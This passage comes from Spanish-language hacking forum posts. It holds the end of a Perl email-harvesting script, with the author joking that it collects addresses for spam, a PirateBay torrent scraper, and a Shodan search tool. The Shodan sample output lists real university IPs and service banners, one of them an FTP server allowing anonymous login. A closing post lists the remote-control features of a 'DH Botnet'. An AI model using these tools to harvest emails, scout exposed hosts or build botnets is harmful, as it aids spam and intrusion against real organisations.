        else {
            open( SAVE, ">>" . $_[0] );
        }

        print SAVE $_[1] . "\n";
        close SAVE;
    }

    sub openfile {
        open my $FILE, q[<], $_[0];
        my $word = join q[], <$FILE>;
        close $FILE;
        return $word;
    }

    sub repes {
        my @limpio;
        foreach $test (@_) {
            push @limpio, $test unless $repe{$test}++;
        }
        return @limpio;
    }

    sub sintax {
        print "\n[+] Sintax : $0 <options> <logs>\n";
        print "\n[+] Examples : \n\n";
        print "[+] $0 -file test.txt logs.txt\n";
        print "[+] $0 -google 50 mailist logs.txt\n";
        print "[+] $0 -bing 50 mailist logs.txt\n";
        print "[+] $0 -page http://localhost/index.php logs.txt\n";
    }

    sub head {
        print "\n-- == Email Extractor 0.2 == --\n";
    }

    sub copyright {
        print "\n-- == (C) Doddy Hackman 2013 == --\n\n";
        exit(1);
    }

    #The End ?


    Mostraria un ejemplo de uso pero puedo tener problemas cuando el script devuelve como 500 mails ajenos claramente para spam xD.
#133
Scripting / [Perl] PirateBay Manager 0.3
23 Diciembre 2013, 00:27 AM
Un simple script para usar en Windows para bajar torrents desde la famosa pagina llamada PirateBay.

El codigo.

Código (perl) [Seleccionar]

#!usr/bin/perl
#PirateBay Manager 0.3
#(C) Doddy Hackman 2013

use LWP::UserAgent;
use Time::HiRes "usleep";

my $nave = LWP::UserAgent->new;
$nave->agent(
"Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12"
);

my $requisito = "C:/Archivos de programa/uTorrent/uTorrent.exe";

head();

print "[+] Write the search : ";
chomp( my $busqueda = <stdin> );

$busqueda =~ s/ /%20/;

print "\n[+] Searching ...";

my $code = toma( "http://thepiratebay.se/search/" . $busqueda . "/0/99/0" );

my @links;
$contador = -1;

while ( $code =~
/(.*?)class="detLink" title="Details for (.*?)">(.*?)<a href="magnet(.*?)" title="Download this torrent using magnet"(.*?)<font class="detDesc">(.*?)<\/font>(.*?)<td align="right">(.*?)<\/td>(.*?)<td align="right">(.*?)<\/td>(.*?)/migs
  )
{

    my $nombre         = $2;
    my $link_torrent   = magnet . $4;
    my $limpiando_data = $6;
    my $data;
    my $seeders  = $8;
    my $leechers = $10;

    if ( $limpiando_data =~ /(.*), ULed by </ ) {
        $limpiando_data_2 = $1;
        $limpiando_data_2 =~ s/&nbsp;/ /migs;
        $data = $limpiando_data_2;
    }

    $contador++;

    print "\n\n[+] ID : " . $contador;
    print "\n[+] Name : " . $nombre;
    push( @links, $link_torrent );
    print "\n[+] Data : " . $data . ", Seeders $seeders, Leechers $leechers";

}

print "\n\n[+] ID to download : ";
chomp( my $id_to = <stdin> );

print "\n[+] Executed !\n";

system( $requisito, $links[$id_to] );

copyright();

## Functions

sub head {

    my @logo = (
        "#=============================================#", "\n",
        "#           PirateBay Manager 0.3             #", "\n",
        "#---------------------------------------------#", "\n",
        "# Written By Doddy H                          #", "\n",
        "# Email: lepuke[at]hotmail[com]               #", "\n",
        "# Website: doddyhackman.webcindario.com       #", "\n",
        "#---------------------------------------------#", "\n",
        "# The End ?                                   #", "\n",
        "#=============================================#", "\n"
    );

    print "\n";

    marquesina(@logo);

    print "\n\n";

}

sub copyright {

    my @fin = ("-- == (C) Doddy Hackman 2013 == --");

    print "\n\n";
    marquesina(@fin);
    print "\n\n";

    <stdin>;

    exit(1);

}

sub marquesina {

    #Effect based in the exploits by Jafer Al Zidjali

    my @logo = @_;

    my $car = "|";

    for my $uno (@logo) {
        for my $dos ( split //, $uno ) {

            $|++;

            if ( $car eq "|" ) {
                mostrar( "\b" . $dos . $car, "/" );
            }
            elsif ( $car eq "/" ) {
                mostrar( "\b" . $dos . $car, "-" );
            }
            elsif ( $car eq "-" ) {
                mostrar( "\b" . $dos . $car, "\\" );
            }
            else {
                mostrar( "\b" . $dos . $car, "|" );
            }
            usleep(40_000);
        }
        print "\b ";
    }

    sub mostrar {
        print $_[0];
        $car = $_[1];
    }

}

sub toma {
    return $nave->get( $_[0] )->content;
}

#The End ?


Ejemplo de uso.


C:\Documents and Settings\Doddy\Escritorio\Warfactory VIII>piratebay.pl

#=============================================#
#           PirateBay Manager 0.3             #
#---------------------------------------------#
# Written By Doddy H                          #
# Email: lepuke[at]hotmail[com]               #
# Website: doddyhackman.webcindario.com       #
#---------------------------------------------#
# The End ?                                   #
#=============================================#


[+] Write the search : batman

[+] Searching ...

[+] ID : 0
[+] Name : Batman and Robin v2 25 (2014)(2 cvrs)(1440+2048px-HD)(BrightEyes
[+] Data : Uploaded 11-23 03:43, Size 89.67 MiB, Seeders 24, Leechers 5

[+] ID : 1
[+] Name : Batman '66 022 (2013) (digital) (Son of Ultron-Empire) (- Nem -)
[+] Data : Uploaded 11-27 14:25, Size 40.39 MiB, Seeders 25, Leechers 1

[+] ID : 2
[+] Name : Batman O Retorno (1992) DVDRip Dublado Repostagem
[+] Data : Uploaded 11-25 20:58, Size 811.15 MiB, Seeders 0, Leechers 5

[+] ID : 3
[+] Name : Batman O Retorno (1992) DVDRip Dublado By Eliasjustino
[+] Data : Uploaded 11-25 19:10, Size 811.15 MiB, Seeders 1, Leechers 0

[+] ID : 4
[+] Name : BATMAN - LI'L GOTHAM 002 (2013) (Print) (c2c) (GreenManGroup-DCP
[+] Data : Uploaded 11-25 16:10, Size 37.15 MiB, Seeders 10, Leechers 2

[+] ID : 5
[+] Name : BATMAN - LI'L GOTHAM 001 (2013) (Print) (c2c) (GreenManGroup-DCP
[+] Data : Uploaded 11-25 16:09, Size 38.28 MiB, Seeders 10, Leechers 2

[+] ID : 6
[+] Name : BATMAN - LI'L GOTHAM 023 (2013) (digital) (Son of Ultron-Empire)
[+] Data : Uploaded 11-25 11:21, Size 30.81 MiB, Seeders 10, Leechers 1

[+] ID : 7
[+] Name : Batman 1966 Complete Season 3 Uncut TV RIP
[+] Data : Uploaded Y-day 07:43, Size 5.19 GiB, Seeders 12, Leechers 6

[+] ID : 8
[+] Name : Batman Arkham Origins (Update 7 + 6 DLC) Repack by z10yded
[+] Data : Uploaded Y-day 04:00, Size 8.11 GiB, Seeders 163, Leechers 230

[+] ID : 9
[+] Name : Batman.Arkham.Origins.Update.v2.0.Incl.DLC-RELOADED
[+] Data : Uploaded 11-27 19:27, Size 308.21 MiB, Seeders 125, Leechers 14

[+] ID : 10
[+] Name : Batman The Dark Knight 025 (2014) (Digital) (Zone-Empire)
[+] Data : Uploaded 11-27 15:27, Size 23.32 MiB, Seeders 81, Leechers 5

[+] ID : 11
[+] Name : Batman - Long Shadows
[+] Data : Uploaded 11-27 13:10, Size 59.59 MiB, Seeders 31, Leechers 2

[+] ID : 12
[+] Name : Batman.Arkham.Trilogy-R.G. Mechanics
[+] Data : Uploaded 11-27 05:05, Size 25.36 GiB, Seeders 41, Leechers 67

[+] ID : 13
[+] Name : Batman.Arkham.Origins.Update.v20131125-FTS
[+] Data : Uploaded 11-26 21:43, Size 253.1 MiB, Seeders 19, Leechers 2

[+] ID : 14
[+] Name : Batman Arkham Origins - FULL GAME PC - LAST UPDATES
[+] Data : Uploaded 11-24 12:50, Size 16.51 GiB, Seeders 17, Leechers 52

[+] ID : 15
[+] Name : Damian - Son of Batman 02 (of 04) (2014) (Digital) (Nahga-Empire
[+] Data : Uploaded 11-27 13:39, Size 45.2 MiB, Seeders 188, Leechers 24

[+] ID : 16
[+] Name : BATMAN - KNIGHTFALL Volume 1 to 3 (DC) (Digital) (TheHand-Empire
[+] Data : Uploaded 11-19 17:21, Size 2.52 GiB, Seeders 29, Leechers 7

[+] ID : 17
[+] Name : BATMAN '66  021 (2013) (DC Comics) (digital) (Son of Ultron-Empi
[+] Data : Uploaded 11-21 01:02, Size 68.39 MiB, Seeders 9, Leechers 1

[+] ID : 18
[+] Name : BATMAN AND TWO-FACE 025 (2014) (Digital) (Zone-Empire)
[+] Data : Uploaded 11-20 19:44, Size 27.07 MiB, Seeders 43, Leechers 0

[+] ID : 19
[+] Name : BATMAN '66  020 (2013) (DC Comics) (digital) (Son of Ultron-Empi
[+] Data : Uploaded 11-14 14:47, Size 71.7 MiB, Seeders 5, Leechers 1

[+] ID : 20
[+] Name : BATMAN - SUPERMAN 005 (2013) (Webrip) (2 covers) (The Last Krypt
[+] Data : Uploaded 11-06 13:36, Size 43.09 MiB, Seeders 32, Leechers 1

[+] ID : 21
[+] Name : Batman - Legends of the Dark Knight 077 (2013)(OlJoe-DCP)
[+] Data : Uploaded 11-20 13:05, Size 12.53 MiB, Seeders 13, Leechers 0

[+] ID : 22
[+] Name : Batman - Ego (2000).cbr (- Nem -)
[+] Data : Uploaded 11-17 17:28, Size 15.34 MiB, Seeders 13, Leechers 0

[+] ID : 23
[+] Name : Batman Beyond 2.0 (001 - 008) (ongoing) (- Nem -)
[+] Data : Uploaded 11-17 17:18, Size 201.42 MiB, Seeders 21, Leechers 3

[+] ID : 24
[+] Name : Batman Beyond 2.0 008 (2013) (digital) (Son of Ultron-Empire).cb
[+] Data : Uploaded 11-17 17:16, Size 29.28 MiB, Seeders 10, Leechers 0

[+] ID : 25
[+] Name : Batman Beyond 2.0 007 (2013) (digital) (Son of Ultron-Empire).cb
[+] Data : Uploaded 11-17 17:14, Size 24.96 MiB, Seeders 8, Leechers 0

[+] ID : 26
[+] Name : Batman Beyond 2.0 006 (2013) (digital) (Son of Ultron-Empire).cb
[+] Data : Uploaded 11-17 17:13, Size 25.21 MiB, Seeders 8, Leechers 0

[+] ID : 27
[+] Name : Batman v2 25 (2014) (2 covers) (1440+2048px-HD) (theProletariat-
[+] Data : Uploaded 11-15 19:20, Size 113.44 MiB, Seeders 26, Leechers 4

[+] ID : 28
[+] Name : Batman.O.Cavaleiro.das.Trevas_P1 e 2 PTBR
[+] Data : Uploaded 11-14 07:16, Size 543.94 MiB, Seeders 6, Leechers 0

[+] ID : 29
[+] Name : Batman - Ano Um (2011) 720p HD Dublado / Dual Audio pt-BR
[+] Data : Uploaded 11-13 18:05, Size 501.99 MiB, Seeders 37, Leechers 3

[+] ID to download : 0

[+] Executed !


-- == (C) Doddy Hackman 2013 == --

#134
Scripting / [Perl] Shodan Tool 0.2
21 Diciembre 2013, 00:30 AM
Un simple script en Perl para realizar busquedas en Shodan usando el API que hicieron para Perl.

El codigo.

Código (perl) [Seleccionar]

#!usr/bin/perl
# Shodan Tool 0.2
# (C) Doddy Hackman 2013

# Install the dependencies
# sudo perl -MCPAN -e 'install CGI::Enurl'
# sudo perl -MCPAN -e 'install JSON::XS'
# sudo perl -MCPAN -e 'install HTTP::Request::Common'
# Install Shodan
# curl -OL http://github.com/downloads/achillean/shodan-perl/Shodan-0.3.tar.gz
# tar zxvf Shodan-0.3.tar.gz
# cd Shodan-0.3
# perl Makefile.PL
# make
# sudo make install

use Shodan::WebAPI;

$SIG{INT} = \&copyright;

$your_key = "fuck you";    # Your Api Key

head();

unless ( $ARGV[0] ) {
    print "\n[+] Sintax : $0 <search>\n";
}
else {

    print "\n[+] Searching ...\n";

    $shell_shodan = new Shodan::WebAPI($your_key);
    $resultados   = $shell_shodan->search( $ARGV[0] );

    @encontrados = @{ $resultados->{"matches"} };

    for ( $i = 0 ; $i < $#encontrados ; ) {

        print "\n[+] Search Number : " . $i . "\n";

        if ( $encontrados[$i]->{country_name} eq "" ) {
            print "[+] Country : Not Found\n";
        }
        else {
            print "[+] Country : " . $encontrados[$i]->{country_name} . "\n";
        }
        if ( $encontrados[$i]->{ip} eq "" ) {
            print "[+] IP : Not Found\n";
        }
        else {
            print "[+] IP : " . $encontrados[$i]->{ip} . "\n";
        }

        print "[+] Hostnames: ",
          join( "\t", @{ $encontrados[$i]->{hostnames} } ), "\n";

        print "\n";

        if ( $encontrados[$i]->{os} eq "" ) {
            print "[+] OS : Not Found\n";
        }
        else {
            print "[+] OS : " . $encontrados[$i]->{os} . "\n";
        }
        if ( $encontrados[$i]->{port} eq "" ) {
            print "[+] Port : Not Found\n";
        }
        else {
            print "[+] Port : " . $encontrados[$i]->{port} . "\n";
        }
        if ( $encontrados[$i]->{updated} eq "" ) {
            print "[+] Last Updated : Not Found\n";
        }
        else {
            print "[+] Last Updated : " . $encontrados[$i]->{updated} . "\n";
        }

        print "\n[Data Start]\n" . $encontrados[$i]->{data} . "\n[Data End]\n";

        $i++;

        if ( $i % 5 == 0 ) {
            print "\n[+] Press enter to show more\n";
            <STDIN>;
        }
    }
}

copyright();

# Functions

sub head {
    print "\n-- == Shodan Tool 0.2 == --\n";
}

sub copyright {
    print "\n-- == (C) Doddy Hackman 2013 == --\n";
    exit(1);
}

# The End ?


Un ejemplo de uso.


doddy@doddy-desktop:~/Escritorio/HackingToolz/Warfactory IX/Shodan$ perl shodantool.pl "facultad"

-- == Shodan Tool 0.2 == --

[+] Searching ...

[+] Search Number : 0
[+] Country : Spain
[+] IP : 193.147.172.36
[+] Hostnames: ftp.fgh.us.es

[+] OS : Not Found
[+] Port : 21
[+] Last Updated : 27.11.2013
Wide character in print at shodanfinal.pl line 78.

[Data Start]
220-Microsoft FTP Service
220 FACULTAD DE GEOGRAF�A E HISTORIA. INFORMA�TICA
230-BIENVENIDOS AL SERVIDOR DE RECURSOS COMPARTIDOS DOCENTES DE LA FACULTAD DE GEOGRAF�A E HISTORIA
230 Anonymous user logged in.
214-The following  commands are recognized(* ==>'s unimplemented).
   ABOR
   ACCT
   ALLO
   APPE
   CDUP
   CWD 
   DELE
   FEAT
   HELP
   LIST
   MDTM
   MKD 
   MODE
   NLST
   NOOP
   OPTS
   PASS
   PASV
   PORT
   PWD 
   QUIT
   REIN
   REST
   RETR
   RMD 
   RNFR
   RNTO
   SITE
   SIZE
   SMNT
   STAT
   STOR
   STOU
   STRU
   SYST
   TYPE
   USER
   XCUP
   XCWD
   XMKD
   XPWD
   XRMD
214  HELP command successful.
[Data End]

[+] Search Number : 1
[+] Country : Bolivia
[+] IP : 200.87.234.18
[+] Hostnames:

[+] OS : Not Found
[+] Port : 21
[+] Last Updated : 25.11.2013

[Data Start]
220 Bienvenido al servicio de FTP de la Facultad de Ciencias Extactas y Tecnologia - U.A.G.R.M.
230 Login successful.
214-The following commands are recognized.
ABOR ACCT ALLO APPE CDUP CWD  DELE EPRT EPSV FEAT HELP LIST MDTM MKD
MODE NLST NOOP OPTS PASS PASV PORT PWD  QUIT REIN REST RETR RMD  RNFR
RNTO SITE SIZE SMNT STAT STOR STOU STRU SYST TYPE USER XCUP XCWD XMKD
XPWD XRMD
214 Help OK.
[Data End]

[+] Search Number : 2
[+] Country : Chile
[+] IP : 146.83.193.197
[+] Hostnames: zafiro.ciencias.ubiobio.cl

[+] OS : Not Found
[+] Port : 80
[+] Last Updated : 24.11.2013

[Data Start]
HTTP/1.0 302 Found
Date: Sun, 24 Nov 2013 04:06:36 GMT
Server: Apache/2.2.16 (Debian)
Location: http://146.83.193.197/facultad/
Vary: Accept-Encoding
Content-Length: 295
Content-Type: text/html; charset=iso-8859-1


[Data End]

[+] Search Number : 3
[+] Country : Venezuela
[+] IP : 190.169.126.3
[+] Hostnames: inving.ing.ucv.ve

[+] OS : Not Found
[+] Port : 21
[+] Last Updated : 23.11.2013

[Data Start]
220 FTP -2: - Facultad de Ingenieira
530 Login or password incorrect!
214-The following commands are recognized:
   USER   PASS   QUIT   CWD    PWD    PORT   PASV   TYPE
   LIST   REST   CDUP   RETR   STOR   SIZE   DELE   RMD
   MKD    RNFR   RNTO   ABOR   SYST   NOOP   APPE   NLST
   MDTM   XPWD   XCUP   XMKD   XRMD   NOP    EPSV   EPRT
   AUTH   ADAT   PBSZ   PROT   FEAT   MODE   OPTS   HELP
   ALLO   MLST   MLSD   SITE   P@SW   STRU   CLNT   MFMT
214 Have a nice day.
[Data End]

[+] Search Number : 4
[+] Country : Argentina
[+] IP : 163.10.23.131
[+] Hostnames: www.fcnym.unlp.edu.ar

[+] OS : Not Found
[+] Port : 80
[+] Last Updated : 23.11.2013

[Data Start]
HTTP/1.0 200 OK
Date: Sat, 23 Nov 2013 14:31:52 GMT
Server: Apache/2.2.22 (Ubuntu)
X-Powered-By: PHP/5.3.10-1ubuntu3.4
Set-Cookie: choiqueCMS-froNt3nD-facultad=qo7hgqq9cdir6t5pgsg0bgipe1; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=utf-8


[Data End]

[+] Press enter to show more


[+] Search Number : 5
[+] Country : Mexico
[+] IP : 148.224.13.152
[+] Hostnames: 152-13-static.uaslp.mx

[+] OS : Not Found
[+] Port : 80
[+] Last Updated : 23.11.2013

[Data Start]
HTTP/1.0 401 Unauthorized
Connection: Keep-Alive
Cache-Control: no-cache
WWW-Authenticate: Digest realm="FACULTAD DE PSICOLOGIA", domain="/", nonce="103efee03d", algorithm="MD5", qop="auth"
WWW-Authenticate: Basic realm="FACULTAD DE PSICOLOGIA"
Content-Type: text/html
Content-Length: 236


[Data End]

[+] Search Number : 6
[+] Country : Argentina
[+] IP : 190.11.104.87
[+] Hostnames: host87-104.cpenet.com.ar

[+] OS : Not Found
[+] Port : 137
[+] Last Updated : 22.11.2013

[Data Start]
NetBIOS Response
Servername: FACULTAD       
MAC: 00:1c:c0:9c:0a:ff

Names:
FACULTAD        <0x0>
SIX             <0x0>
FACULTAD        <0x20>
SIX             <0x1e>
SIX             <0x1d>
__MSBROWSE__ <0x1>

[Data End]

[+] Search Number : 7
[+] Country : Mexico
[+] IP : 132.248.18.23
[+] Hostnames: docencia.fca.unam.mx

[+] OS : Not Found
[+] Port : 143
[+] Last Updated : 22.11.2013

[Data Start]
* OK [CAPABILITY IMAP4rev1 LITERAL+ SASL-IR LOGIN-REFERRALS ID ENABLE STARTTLS AUTH=PLAIN AUTH=LOGIN] Bienvenido al servicio de correo DOCENCIA de la Facultad de Contaduria y administacion
[Data End]

[+] Search Number : 8
[+] Country : Argentina
[+] IP : 170.210.88.7
[+] Hostnames: firewall.unp.edu.ar

[+] OS : Not Found
[+] Port : 21
[+] Last Updated : 22.11.2013

[Data Start]
220 Bienvenido al FTP de la Facultad de Ingenieria.
530 Permission denied.
530 Please login with USER and PASS.
[Data End]

[+] Search Number : 9
[+] Country : Argentina
[+] IP : 170.210.240.9
[+] Hostnames: cacuy.fi.unju.edu.ar

[+] OS : Not Found
[+] Port : 25
[+] Last Updated : 20.11.2013

[Data Start]
220 cacuy.fi.unju.edu.ar Servidor de email Facultad de Ingenieria UNJu

[Data End]

[+] Press enter to show more

#135
Programación General / [Delphi] DH Botnet 0.5
16 Diciembre 2013, 04:26 AM
Traduccion a delphi de mi DH Botnet escrita originalmente en Perl.

Contiene estas opciones :

  • Ejecucion de comandos
  • Listar procesos activos
  • Matar procesos
  • Listar archivos de un directorio
  • Borrar un archivo o directorio cualquiera
  • Leer archivos
  • Abrir y cerrar lectora
  • Ocultar y mostrar programas del escritorio
  • Ocultar y mostrar Taskbar
  • Abrir Word y hacer que escriba solo (una idea muy grosa xDD)
  • Hacer que el teclado escriba solo
  • Volver loco al mouse haciendo que se mueva por la pantalla

    Unas imagenes :





    Si lo quieren bajar lo pueden hacer de aca.